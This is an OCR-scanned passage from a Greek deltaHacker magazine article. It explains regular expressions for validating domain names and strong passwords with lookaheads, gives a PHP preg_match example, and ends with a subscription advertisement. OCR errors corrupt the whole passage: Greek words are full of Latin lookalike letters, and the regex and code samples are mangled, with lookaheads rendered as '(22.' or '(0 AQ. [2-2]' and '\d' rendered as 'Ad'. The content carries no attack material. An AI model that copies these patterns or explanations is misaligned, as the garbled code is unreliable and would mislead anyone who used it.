στα domain names. Μετά ano την κλάση έχουμε τοποθετήσει kai πάλι τον Xa- 
pakrrjpa της πρόσθεσης (το domain name ἐχει τουλάχιστον vav χαρακτήρα). 
Ακολουθεί ο χαρακτήρας της τελείας και µια κλάση µε τους χαρακτήρες nou 
επιτρέπονται στο TLD. Τα άγκιστρα εξασφαλίζουν OT! το μήκος του TLD θα εἶναι 
ano 2 ἕως 6 χαρακτήρες. 


Σε αυτό το παράδειγµα, NEpa ano τη γενικότερη λογική που ακολουθήσαμε np£- 
πει να παρατηρήσετε και τη χρήση του χαρακτήρα backslash (X). Όπως xou- 
µε ξαναπεί, ο συγκεκριμένος χαρακτήρας πραγµατοποιεἰ το λεγόμενο character 
escaping. Με απλά λόγια, καταργείἰ την ειδικἠ ερμηνεία nou επιδέχεται ο αµέσως 
επόμενος χαρακτήρας. Στην ἐκφραση nou συγκροτήσαμε παραπάνω χρησιμο- 
ποιούμε τον χαρακτήρα της τελείας σε αρκετά σηµεία, αλλά πάντοτε µε την 
κυριολεκτική του ερμηνεία και ποτὲ µε την έννοια του μπαλαντὲἑρ! Ακριβώς γι’ 
αυτό, οπουδήποτε έχουμε χρησιμοποιήσει την τελεία έχουμε τοποθετήσει στα 
αριστερἁ της κι Eva backslash. 


Συνθηματικὀ. Ας υποθέσουμε ropa ὁτι η εφαρµογἠ µας ζητά ano το χρήστη 
να ορἰσει Eva *ioxupó* συνθημµατικὀ. Όταν ο χρήστης δίνει το επιθυμητό συν- 
θηµατικὀ, η εφαρµογἠ ελέγχει αν εἶναι ὀντως IOXUPO ἡ ὀχι, οπότε το αποδέχεται 
ἡ το απορρίπτει. Όπως υποψιάζεστε, γι’ αυτὸν τον ἐλεγχο θα επιστρατεύσουμε 
και πάλι µια κατάλληλα σχηματισμένη κανονικἠ ἐκφραση. Πριν προχωρήσουμε, 


Κανανικές εκφράσεις σε δράση ! 
“0” 


όμως, πρέπει να συμφωνήσουμε στα γνωρίσματα που διακρίνουν Eva ισχυρὀ 
συνθηματικὀ. Εμείς δεχτήκαμε τους ακόλουθους περιορισμούς: 


Ο Θα πρέπει va περιέχει τουλάχιστον δύο πεζά γράμματα 

Ο Θα πρέπει va περιἐχει τουλάχιστον δύο κεφαλαία γράμματα 
O Θα πρέπει να περιἐχει τουλάχιστον τρία αριθµητικἁ ψηφία 
O 


Θα πρέπει να περιἐχει τουλάχιστον vav χαρακτήρα που δεν ανήκει στους 
"χαρακτήρες λέξεων" 


Τα πράγματα περιπλἐκονται! Το συνθηματικὀ εἶναι πιθανὸ να περιλαμβάνει σχε- 
δὸν οποιονδήποτε χαρακτήρα (που μπορεί va πληκτρολογήσει ο χρήστης) και, 
φυσικὰ, μπορεἰ να χει οποιαδήποτε µορφή. Δεν γνωρἰζουμε οὐτε τη σειρἁ µε 
την οποία εμφανίζονται οι χαρακτήρες, οὐτε ro ακριβὲς πλήθος κάθε κατηγορἰας 
χαρακτήρων, οὐτε τίποτα! Λογικὀ, θα σκεφτείτε, εφὀσον πρὀκειται για Eva συν- 
θηµατικὀ. Πώς θα καταφέρουμε όμως να περιγράψουμε Eva string, yia το οποίο 
γνωρίζουμε μόνο ελάχιστα, γενικά χαρακτηριστικά; 


Edm θα πρέπει να σκεφτούμε πονηρὰ. Εφόσον ro συνθημµατικὀ µπορεί va EXE! 
οποιαδήποτε µορφή, θα ξεκινήσουμε µε μία κανονικἠ έκφραση η οποία περιγρά- 
φει *onoioórinore* string! Πανεύκολο: 


ms 


Αυτοί οι δύο χαρακτήρες αποτελούν µια εξαιρετικἀ απλἠ κανονικἠ ἐκφραση, 
που περιγράφει τα πάντα. Τώρα μένει να εξασφαλίσουµε OT! αυτά "τα πάντα" 
ικανοποιούν τους περιορισμούς που θἐσαµε για τη συγκρότηση evóc ισχυρού 
συνθηματικού. Πα τους σχετικούς ελἐγχους θα αξιοποιήσουμε τον μηχανισμό 
lookahead. Όπως έχουμε πει, το lookahead αποτελεί ἑναν μηχανισµὀ µε τον 
οποίο μπορούμε να τσεκάρουµε αν εμφανίζεται κἄποιο string ἡ ὀχι. And την 
ἐκβαση αυτού του ελέγχου, καθορίζεται το av θα συνεχιστεί η επεξεργασία της 
υπόλοιπης κανονικής έκφρασης ἡ αν θα διακοπεί. Στη δεύτερη περίπτωση, η 
μηχανὴ των κανονικῶν εκφράσεων θεωρεἰ ὁτι η αναζήτηση µε τη συγκεκριμὲ- 
νη ἐκφραση απέτυχε! Στο σενάριο που εξετάζουμε, θα χρησιμοποιήσουμε το 
lookahead για να ελέγξουμε av To string που ἐδωσε ο χρήστης περιλαμβάνει 
τουλάχιστον δύο πεζἀ γράμματα, τουλάχιστον δύο κεφαλαία, τουλάχιστον τρία 
αριθµητικἁ ψηφία και τουλάχιστον ἐναν χαρακτήρα — ano εκεἰνους που δεν ou- 
γκαταλέγονται στα word characters®. Ας δούµε κάθε ἐλεγχο ξεχωριστά. 


O Ἐλεγχος για τουλάχιστον δύο πεζἀ γράμματα. Τα δύο πεζἀ γράμματα 
μπορούν να βρἰσκονται οπουδήποτε μέσα στο string κι ανἁμεσὰ τους va Bpi- 
σκονται οποιοιδήποτε ἄλλοι χαρακτήρες. Επομένως, το σχετικὀ lookahead 
πρέπει να εἶναι κάπως έτσι: 


Caz]. *[a-z]) 


Το παραπάνω lookahead ελέγχει για την ύπαρξη ενὸς string, το οποίο ξεκινά 
µε οποιουσδήποτε χαρακτήρες, συνεχίζει µε Eva neò γράμμα, στη συνέχεια 
εμφανίζει πάλι οποιουσδήποτε χαρακτήρες και στο τέλος περιλαμβάνει Eva 
ακόµα neò γράμμα. 


4. Ὡς «χαρακτήρες λέξεων» (word characters) θεωρούνται όλα ra πεζὰ και τα κεφαλαία γράμματα, ra αριθμητικά ψηφία και ro underscore. 
5. Στο εξής, τους χαρακτήρες αυτού του εἰδους θα τους αποκαλούμε «ἄσχετους» ;) 
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O Ἐλεγχος για τουλάχιστον δύο κεφαλαῖα γράμματα. Όπως και στην NE- 
ρίπτωση των πεζών, τα δύο κεφαλαία γράμματα δεν εἶναι υποχρεωτικὀ va 
βρίσκονται σε συγκεκριμένη περιοχή, οὐτε και σε διαδοχικὲς θέσεις. Δείτε TO 
σχετικὀ lookahead: 


b (?=.*[A-Z].*[A-Z]) 


O ‘EAEyxos για τουλάχιστον τρία αριθµητικἁ ψηφία. Ακολουθώντας την 
ἰδια λογικἠ, συντάσσουµε Eva lookahead το οποίο ελέγχει αν εμφανίζονται 
τρία αριθμητικἁ ψηφία, µε οποιουσδήποτε άλλους χαρακτήρες ανάμεσά τους: 


| (22. Ad. "λα. d) 


To μόνο καινούργιο στοιχείο εδώ αποτελεἰ o συνδυασμὸς των χαρακτήρων 
"Ad". Με αυτούς τους χαρακτήρες αναφερόμαστε σε ὁλα ra αριθµητικἀ yn- 
mia. Με àAAa λόγια, το "Ad" αποτελεἰ µια συντομογραφία της κλάσης xapa- 
κτήρων [0-9]. 


O Έλεγχος για τουλάχιστον vav "άσχετο" χαρακτήρα. Οι χαρακτήρες 
που θεωρείται ὁτι συμμετέχουν σε μία λέξη περιγράφονται ano την εξἠς κλά- 
ση: [a-zA-ZO-9. 1. Επομένως, οι "ἀσχετοι" χαρακτήρες εἶναι εκείνοι που ανἠ- 
κουν στη συμπληρωματική κλάση! Δηλαδή, πρὀκειται για τους χαρακτήρες 
που ανήκουν στην κλάση [^a-zA-Z0-9 Ἱ. Όπως έχουμε πει, ο χαρακτήρας 
caret αντιστρέἐφει τα περιεχόμενα µια κλάσης ἡ, αν προτιμάτε, ορἰζει το συ- 
μπλἠρωμὰ της. Παρεμπιπτόντως, η τελευταία κλάση µπορεί va γραφτεὶ akò- 
μα πιο σύντομα, ως εξἠς: [^W]. Οἱ χαρακτήρες "Ww" αποτελούν µια συντο- 
μογραφία της κλάσης [a-zA-Z0-9_]. Έχοντας αυτά κατὰ νου, το lookahead 
που ελέγχει για την ύπαρξη τουλάχιστον ενὸς "ἀσχετου" χαρακτήρα, EXE! 
την ακόλουθη µορφή: 


τ») 


Τέλεια! lia την opa ἐχουµμε μία κανονικἠ ἐκφραση που περιγράφει κάθε string 
και τέσσερα lookaheads, καθένα ano τα οποία ελέγχει αν ικανοποιείται κάποιος 


ano τους περιορισμούς που έχουμε θέσει. AUTO που μένει εἶναι τα συνδυάσουµμε: 


(0 AQ. [2-2]. *[a-2]) (27. *[A-2].*[A-2]) (22. Vd Vd. *\d) (22. *[^Ww]).* 


Το αποτέλεσµα εἶναι μᾶλλον ψαρωτικὀ! H παραπάνω ἐκφραση ξεκινά ano την 
apxn rou string και πραγματοποιεί τους τἐσσερις ελέγχους που περιγράφουν τα 
lookaheads. 


Αν ἑστω και ἑνας ἐλεγχος αποτύχει, η επεξεργασἰα της κανονικἠς ἐκφρασης θα 
διακοπεί. Διαφορετικά, αν οι ἐλεγχοι ολοκληρωθούν µε επιτυχία, η επεξεργα- 
oia της κανονικἠς έκφρασης θα συνεχιστεί απρόσκοπτα. Μετὰ ano τα τἐσσε- 
pa lookaheads ακολουθούν οι χαρακτήρες ".*", που περιγράφουν οποιοδήποτε 
string. Επομένως, αν η επεξεργασία της κανονικἠς ἑκφρασης συνεχιστεί, κατα- 
λήγουμε στην περιγραφὴ ενὸς οποιουδήποτε string. 


Τελικά, αυτὸ που χρειάζεται να κάνουμε στο πρὀγραμμὰ µας, εἶναι να χρησι- 
μοποιήσουμε τη συγκεκριμένη κανονικἠ ἐκφραση και να πραγματοποιήσουμε 


Κανανικές εκφράσεις σε δράση ! 
ri 


µια αναζήτηση εντὸς Tou string που έδωσε o χρήστης. Αν η αναζήτηση δεν 
επιστρἑψει τίποτα, συμπεραίνουμε ὁτι κάποιος απὀ τους περιορισμούς µας δεν 
ικανοποιείται. Αν όμως η αναζήτηση επιστρέψει κάτι, συμπεραίνουμε OT! ὁλοι οι 
περιορισμοί µας ικανοποιούνται! Το πιάσατε; Το αν ικανοποιούνται οι περιορισμοἰ 
για τη συγκρότηση ενὸς ισχυρού password, το κρίνουμε απὀ το αν ικανοποιού- 
ντα! Οἱ ἐλεγχοι των lookahead. Κι ògo για το αν ικανοποιούνται οι ἐλεγχοι των 
lookahead, αυτό το κρίνουμε απὀ το αν η kavovikr| ἐκφραση που περιγράφει τα 
πάντα (.*) επιστρέφει κάτι ἡ OXI. Δείτε το σχετικὀ πρὀγραμμα: 


$input = "oKje5R!6z"; 
$regex = "/ (?=.*[a-z].*[a-z])(?=.*[A-Z].*[A-Z]) (?2. *\d. *\d.*\d) 
= wD.*/"; 
if (preg match($regex, $input) == 1) 
echo "Strong password!"; 
else 


echo "Weak password!"; 


Mia ακόµα βελτιστοποίηση... 


Πα To τέλος, αξίζει να σταθούμε σε µια σηµαντικἠ λεπτομέρεια. Όπως θα προσέξατε, 
η παραπάνω κανονικἠ έκφραση ξεκινά µε TO anchor που συμβολίζει την αρχἠ του 
string (^). Αυτό ro anchor τοποθετείται ὥστε τα τέσσερα lookaheads να πραγµατο- 
ποιηθούν ano μία φορὰ και μόνο, µε τους σχετικούς ελἐγχους να ξεκινούν απὀ την 
apxn rou string. Χωρίς ro anchor, η μηχανὴ των κανονικὠν εκφράσεων θα δοκίμαζε 
τα lookaheads σε κάθε unó-string του αρχικού string. Αυτό δεν θα άλλαζε καθόλου 
το TEAIKO αποτέλεσμα, αλλά θα αὐξανε δραματικἁ το φόρτο εργασίας της μηχανής. 
Ηθικὀ δίδαγμα: Εκτός ελαχίστων περιπτώσεων, εἶναι φρόνιμο να "καρφώνουμε" τα 
lookaheads σε συγκεκριμένες θέσεις, ὥστε να εκτελούνται μόνο µια φορά. Με αυτόν 
τον τρόπο, η εργασία της εκάστοτε μηχανὴς εκφράσεων θα ελαχιστοποιείται *xw- 
pic* να επηρεάζεται στο ελάχιστο η αποτελεσματικὀτητἁ της. 
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DOM ooo SDD DD 


H ηλεκτρονική EKOOON του deltaHacker δεν 


έχει καμία σχέση µε ότι έχετε δει ως τώρα. 


Είναι portable KAI searchable — 


Επιτρέπει την κι ἀντιγραφῇ κειμένου, αλλά και 
την EKTUNWON. 


Είναι ve qoidrnras και δείχνει Τέλεια παντού. 
στο tablet, στο smartphone και φυσικά στον υπολογιστή. 


A! η NAEKTOOVIKN, EKOOON του deltaHacker 


δεν φέρει τεχνητούς περιορισμούς και 
δεν τιμωρεί τον κἀτοχό της, 


Στηρίξτε τη δουλειά µας κι επιτρέψτε µας να τη 
συνεχίσουμε, 


LA 
ANOKTNOTE τωρα μία απὀ τις ηλεκτρονικές 
συνδρομές στο Περιοδικό deltaHacker. 
Κι εσείς. 
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